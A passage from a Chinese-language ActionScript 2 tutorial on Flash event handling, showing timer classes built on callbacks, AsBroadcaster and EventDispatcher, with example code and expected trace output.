&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._running = false;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function toString():String<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return &quot;[CFTimer]&quot;;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; private function startTimer():Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._currentCount++;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.timer(this._currentCount);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this._currentCount == this._repeatCount) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.reset();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.timerComplete();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; public function get delay():Number<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this._delay;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function set delay(d:Number):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._delay = d;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function get repeatCount():Number<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this._repeatCount;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function set repeatCount(r:Number):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._repeatCount = r;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function get currentCount():Number<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this._currentCount;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function get running():Boolean<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this._running;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
}</font></span></p>
<p>保存文档.<br />
此类的详细信息:<br />
构造函数: <br />
public CFTimer(delay:Number, repeatCount:Number)<br />
参数:<br />
delay:Number&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---延迟,单位毫秒.<br />
repeatCount:Number&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---重复次数.默认为 Infinity(正无穷大);</p>
<p>方法:<br />
public reset():Void&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---停止定时.并复位 currentCount .<br />
public start():Void&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---开始计时.<br />
public stop():Void&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---停止定时.<br />
public toString():String&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---返回类名称&quot;[CFTimer]&quot;.</p>
<p>属性:<br />
public delay:Number&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---延迟,单位毫秒.<br />
public repeatCount:Number&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---重复的次数.默认值为 Infinity(正无穷大);<br />
public currentCount:Number [只读]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---当前的次数.当开始计时,此值会递增,直到等于 repeatCount.<br />
public running:Boolean&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [只读]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---定时器目前的状态,true 表示正在运行, false 表示已停止.</p>
<p>事件:<br />
timer = function(currentCount:Number){}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---每当时间间隔到达 delay 时调用.<br />
timerComplete = function(){}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---当 currentCount 等于 repeatCount 时调用.</p>
<p>示例类:<br />
打开 CFTimerExample.as 文档.输入下面的代码:</p>
<p><span class="code"><font color="#000000">import AS2.utils.CFTimer;<br />
//----------------------------------------<br />
class CFTimerExample<br />
{<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; public function CFTimerExample()<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var te:CFTimer = new CFTimer(1000, 5);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; te.timer = this.timer;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; te.timerComplete = this.timerComplete;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; te.start();<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; private function timer(currentCount:Number):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; trace(&quot;timer: &quot; + currentCount);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; private function timerComplete():Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; trace(&quot;timerComplete: &quot;);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
}</font></span></p>
<p>保存文档.<br />
这里我们创建 CFTimer 类的一个实例, 时间间隔为 1000 毫秒,重复执行 5 次.然后实现 timer 和 timerComplete 事件.</p>
<p>示例 fla 文档:<br />
打开 CFTimerExample.fla 文档,将&quot;图层 1&quot; 重命名为 Actions.并在第一帧中输入下面的代码:</p>
<p><span class="code"><font color="#000000">new CFTimerExample();<br />
</font></span></p>
<p>测试 Flash 文档.输出面板会陆续显示以下的内容:</p>
<p><font color="#000000"><span class="code">timer: 1<br />
timer: 2<br />
timer: 3<br />
timer: 4<br />
timer: 5<br />
timerComplete:</span> </font></p>
<p>下一节讲: [4.使用 addListener 方法(AsBroadcaster / BroadcasterMX 类)]</p>
<p>[4.使用 addListener 方法(AsBroadcaster / BroadcasterMX 类)]</p>
<p>在 MovieClipLoader 和 Tween 等类中都用到了 addListener 方法来注册侦听.</p>
<p>我们该怎么用呢? Macromedia 为我们提供了如下二个类:<br />
AsBroadcaster 属于系统类.<br />
BroadcasterMX 属于自定义类.类路径: mx.transitions.BroadcasterMX<br />
这两个类的很相似.它们都是提供事件通知和侦听器管理功能.<br />
但 AsBroadcaster 类是系统内置的.执行效率会比 BroadcasterMX 类快很多.所以这里我们就用 AsBroadcaster<br />
类来讲解. <br />
此类详细:<br />
public addListener(listenerObj:Object):Boolean&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---注册侦听器.<br />
public broadcastMessage(eventName:String):Void&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---广播消息/发送事件.<br />
public static initialize(obj:Object):Void&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---将事件通知和侦听器管理功能添加到给指定的对象<br />
public removeListener(listenerObj:Object):Boolean ---移除侦听器.<br />
public _listeners:Array [只读]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---对已注册侦听器对象的引用.</p>
<p>&nbsp;</p>
<p>该怎么用呢? 看下面的示例:<br />
[4.1.示例: AsBEventClass 类(简单的示例)]<br />
此示例文档详细:<br />
Example/AS2/events/AsBEvent/AsBEventClass.as<br />
Example/AS2/events/AsBEvent/AsBEventExample.as<br />
Example/AS2/events/AsBEvent/AsBEventExample.<a href="http://www.jzxue.com/Html/XML/" target="_blank">xml</a><br />
Example/AS2/events/AsBEvent/AsBEventExample.fla</p>
<p>主类:<br />
打开 CFEventClass.as&nbsp; 文档,输入下面的代码:</p>
<p><font color="#000000"><span class="code">import mx.utils.Delegate;<br />
//----------------------------------------<br />
class AsBEventClass extends AsBroadcaster<br />
{<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; public var tXML:XML;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; public function AsBEventClass(url:String)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AsBroadcaster.initialize(AsBEventClass.prototype);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.tXML = new XML();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.tXML.onLoad = Delegate.create(this, this.XMLonLoad);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.tXML.load(url);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; private function XMLonLoad(success:Boolean):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (success) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.broadcastMessage(&quot;complete&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
}</span><br />
保存文档.<br />
这里首先继承 AsBroadcaster 类.然后在构造函数中使用</font></p>
<p><font color="#000000"><span class="code">AsBroadcaster.initialize(AsBEventClass.prototype);</span><br />
来获取事件通知和侦听器管理功能.最后使用</font></p>
<p><font color="#000000"><span class="code">this.broadcastMessage(&quot;complete&quot;);</span><br />
来广播消息或发送事件.<br />
当然你也可以选择不继承它,但需要在类中添加下面的方法:</font></p>
<p><font color="#000000"><span class="code">public var addListener:Function;<br />
public var removeListener:Function;<br />
private var broadcastMessage:Function;</span><br />
示例类:<br />
打开 CFTimerExample.as 文档.输入下面的代码:</font></p>
<p><span class="code"><font color="#000000">import AsBEventClass;<br />
//----------------------------------------<br />
class AsBEventExample<br />
{<br />
&nbsp;&nbsp;&nbsp; public function AsBEventExample()<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var ee:AsBEventClass = new AsBEventClass(&quot;AsBEventExample.</font><a href="http://www.jzxue.com/Html/XML/" target="_blank">xml</a><font color="#000000">&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ee.addListener(this);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; private function complete():Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; trace(&quot;complete&quot;);<br />
&nbsp;&nbsp;&nbsp; }<br />
}</font></span><br />
保存文档.<br />
在示例类中我们创建主类的一个实例.来加载 AsBEventExample.<a href="http://www.jzxue.com/Html/XML/" target="_blank">xml</a> 文档.然后添加侦听器.<br />
如果要移除侦听器,请使用下面的方法:</p>
<p><font color="#000000"><span class="code">ee.removeListener(this);</span><br />
要加载的 XML 文档:<br />
打开 AsBEventExample.</font><a href="http://www.jzxue.com/Html/XML/" target="_blank">xml</a> 文档,随便输入一些内容便可.测试用.</p>
<p>示例 fla 文档:<br />
打开 AsBEventExample.fla 文档.将&quot;图层 1&quot;重命名为&nbsp; Actions.并在第一帧中输入下面的代码:</p>
<p><font color="#000000"><span class="code">new AsBEventExample();</span><br />
保存文档.<br />
测试 Flash 文档.在 XML 文档成功加载后会在输出面板中显示以下内容</font></p>
<p><font color="#000000"><span class="code">complete</span><br />
如需给事件传递参数,在发送事件时如下添加参数:</font></p>
<p><font color="#000000"><span class="code">this.broadcastMessage(&quot;complete&quot;, 参数1, 参数2, 参数N);</span><br />
在调用事件时:</font></p>
<p><font color="#000000"><span class="code">private function complete(参数1, 参数2, 参数N)<br />
{<br />
&nbsp;&nbsp;&nbsp; trace([参数1, 参数2, 参数N]);<br />
}</span><br />
下面再看一个示例:<br />
[4.2.示例: AsBTimer 类(定时器)]<br />
此示例文档详细:<br />
Classes/AS2/utils/AsBTimer.as<br />
Example/AS2/utils/AsBTimer/AsBTimerExample.as<br />
Example/AS2/utils/AsBTimer/AsBTimerExample.fla</font></p>
<p>主类:<br />
打开 AsBTimer.as 文档,输入下面的代码:</p>
<p><font color="#000000"><span class="code">import AS2.utils.CFDelegate;<br />
//----------------------------------------<br />
class AS2.utils.AsBTimer extends AsBroadcaster<br />
{<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; private var _timerID:Number;<br />
&nbsp;&nbsp;&nbsp; private var _delay:Number;<br />
&nbsp;&nbsp;&nbsp; private var _repeatCount:Number;<br />
&nbsp;&nbsp;&nbsp; private var _currentCount:Number = 0;<br />
&nbsp;&nbsp;&nbsp; private var _running:Boolean;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; /*<br />
&nbsp;&nbsp;&nbsp; @parameter&nbsp;&nbsp;&nbsp; delay:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 延迟,单位毫秒.<br />
&nbsp;&nbsp;&nbsp; @parameter&nbsp;&nbsp;&nbsp; repeatCount:&nbsp;&nbsp;&nbsp; 重复次数.默认为Infinity(正无穷大);<br />
&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp; public function AsBTimer(delay:Number, repeatCount:Number)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AsBroadcaster.initialize(AsBTimer.prototype);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (isNaN(delay)) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (isNaN(repeatCount)) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; repeatCount = Infinity;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._delay = delay;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._repeatCount = repeatCount;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; public function reset():Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._currentCount = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.stop();<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function start():Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._timerID = setInterval(CFDelegate.create(this, this.startTimer), this._delay);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._running = true;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function stop():Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; clearInterval(this._timerID);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._running = false;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function toString():String<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return &quot;[AsBTimer]&quot;;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; private function startTimer():Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._currentCount++;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.broadcastMessage(&quot;timer&quot;, this._currentCount);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this._currentCount == this._repeatCount) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.reset();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.broadcastMessage(&quot;timerComplete&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; public function get delay():Number<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this._delay;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function set delay(d:Number):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._delay = d;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function get repeatCount():Number<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this._repeatCount;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function set repeatCount(r:Number):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._repeatCount = r;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function get currentCount():Number<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this._currentCount;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function get running():Boolean<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this._running;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
}</span><br />
因此类详细前面已讲,功能一样,只是事件处理机制不同而已.这里就不再啰嗦.</font></p>
<p>示例类:<br />
打开 AsBTimerExample.as 文档.输入下面的代码:</p>
<p><font color="#000000"><span class="code">import AS2.utils.AsBTimer;<br />
//----------------------------------------<br />
class AsBTimerExample<br />
{<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; public function AsBTimerExample()<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var te:AsBTimer = new AsBTimer(1000, 5);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; te.addListener(this);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; te.start();<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; private function timer(currentCount:Number):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; trace(&quot;timer: &quot; + currentCount);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; private function timerComplete():Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; trace(&quot;timerComplete: &quot;);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
}</span><br />
保存文档.</font></p>
<p>示例 fla 文档:<br />
打开 AsBTimerExample.fla 文档,将&quot;图层 1&quot; 重命名为 Actions.并在第一帧中输入下面的代码:</p>
<p><font color="#000000"><span class="code">new AsBTimerExample();</span><br />
测试 Flash 文档.输出面板会陆续显示以下的内容:</font></p>
<p><font color="#000000"><span class="code">timer: 1<br />
timer: 2<br />
timer: 3<br />
timer: 4<br />
timer: 5<br />
timerComplete: </span><br />
下一节讲:[5.使用 addEventListener 方法(EventDispatcher 类)]</font></p>
<p>[5.使用 addEventListener 方法(EventDispatcher 类)]</p>
<p><br />
打瞌睡了吧? 貌似有口水流下来了.呵.本人文字表达能力不是很好(好像是没吃多少书).让大家见笑了.其实学编程<br />
是比较闷的.不只是闷,还有很多很多,但既然选择了,这些就只是学习途中的坎,需要我们跨过去.就像是你选择走哪<br />
条路一样,既然选择了,就必需是要走的.但这路不只是你一个人走,人多了就会有竞争,我们不能总走在别人后面.所<br />
以需要加快脚步走在前面,让后面的人去追.但有时也会在不知不觉中走弯路,我一样也会,所以在本文中如果你看到<br />
有不正确的,希望你能指正,谢谢.此文的目的是想让大家在这条路上能走快点.你很啰嗦呀....呵.题外话就说到这.<br />
下面继续.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>这一节讲 EventDispatcher 类.此类也是提供事件通知和侦听器管理功能的,但比前面讲的功能会强一些.在 AS2 <br />
中,此类用于组件的事件处理机制中.因 Macromedia 没有过多的讲解此类.很少人将它用于自定义类中.本人在研究<br />
mx包下的类时才知道此类的用法.</p>
<p>首先看看在组件中如何使用:<br />
1.</p>
<p><font color="#000000"><span class="code">function clickHandler(evt:Object):Void<br />
{<br />
&nbsp;&nbsp;&nbsp; trace(&quot;click&quot;);<br />
]<br />
button.addEventListener(&quot;click&quot;, clickHandler);</span><br />
2.</font></p>
<p><font color="#000000"><span class="code">function click(evt:Object):Void<br />
{<br />
&nbsp;&nbsp;&nbsp; trace(&quot;click&quot;);<br />
]<br />
button.addEventListener(&quot;click&quot;, this);</span><br />
3.</font></p>
<p><font color="#000000"><span class="code">function handleEvent(evt:Object):Void<br />
{<br />
&nbsp;&nbsp;&nbsp; trace(&quot;click&quot;);<br />
]<br />
button.addEventListener(&quot;click&quot;, this);</span><br />
4.</font></p>
<p><font color="#000000"><span class="code">button.clickHandler = function(evt:Object)<br />
{<br />
&nbsp;&nbsp;&nbsp; trace(&quot;click&quot;);<br />
}</span><br />
这几种写法其效果都是一样的.都是侦听 button 实例的 click 事件.</font></p>
<p>下面来了解此类详细:<br />
public addEventListener(eventName:String, 侦听器对象或函数):Void&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;---添加事件侦听器<br />
public removeEventListener(eventName:String, 侦听器对象或函数):Void&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---移除事件侦听器<br />
public dispatchEvent(eventObj:Object):Void&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;object:Object):Void</p>
<p>帮助文档中没有讲解 initialize 方法.此方法的功能同 AsBroadcaster 类的 initialize 方法一样.</p>
<p>该怎么用呢? 看下面的示例:<br />
[5.1.示例: EDEventClass 类(简单的示例)]<br />
此示例文档详细:<br />
Example/AS2/events/EDEvent/EDEventClass.as<br />
Example/AS2/events/EDEvent/EDEventExample.as<br />
Example/AS2/events/EDEvent/EDEventExample.<a href="http://www.jzxue.com/Html/XML/" target="_blank">xml</a><br />
Example/AS2/events/EDEvent/EDEventExample.fla</p>
<p>主类:<br />
打开 EDEventClass.as 文档,输入下面的代码:</p>
<p><font color="#000000"><span class="code">import mx.utils.Delegate;<br />
import mx.events.EventDispatcher;<br />
//----------------------------------------<br />
class EDEventClass extends EventDispatcher<br />
{<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; public var tXML:XML;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; public function EDEventClass(url:String)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.tXML = new XML();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.tXML.onLoad = Delegate.create(this, this.XMLonLoad);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.tXML.load(url);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; private function XMLonLoad(success:Boolean):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (success) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.dispatchEvent({type:&quot;complete&quot;});<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
}</span><br />
如果不继承 EventDispatcher 类.请将代码改成如下:</font></p>
<p><font color="#000000"><span class="code">import mx.utils.Delegate;<br />
import mx.events.EventDispatcher;<br />
//----------------------------------------<br />
class EDEventClass <br />
{<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; //不继承需添加这三个方法.<br />
&nbsp;&nbsp;&nbsp; public var addEventListener:Function;<br />
&nbsp;&nbsp;&nbsp; public var removeEventListener:Function;<br />
&nbsp;&nbsp;&nbsp; private var dispatchEvent:Function;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; public var tXML:XML;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
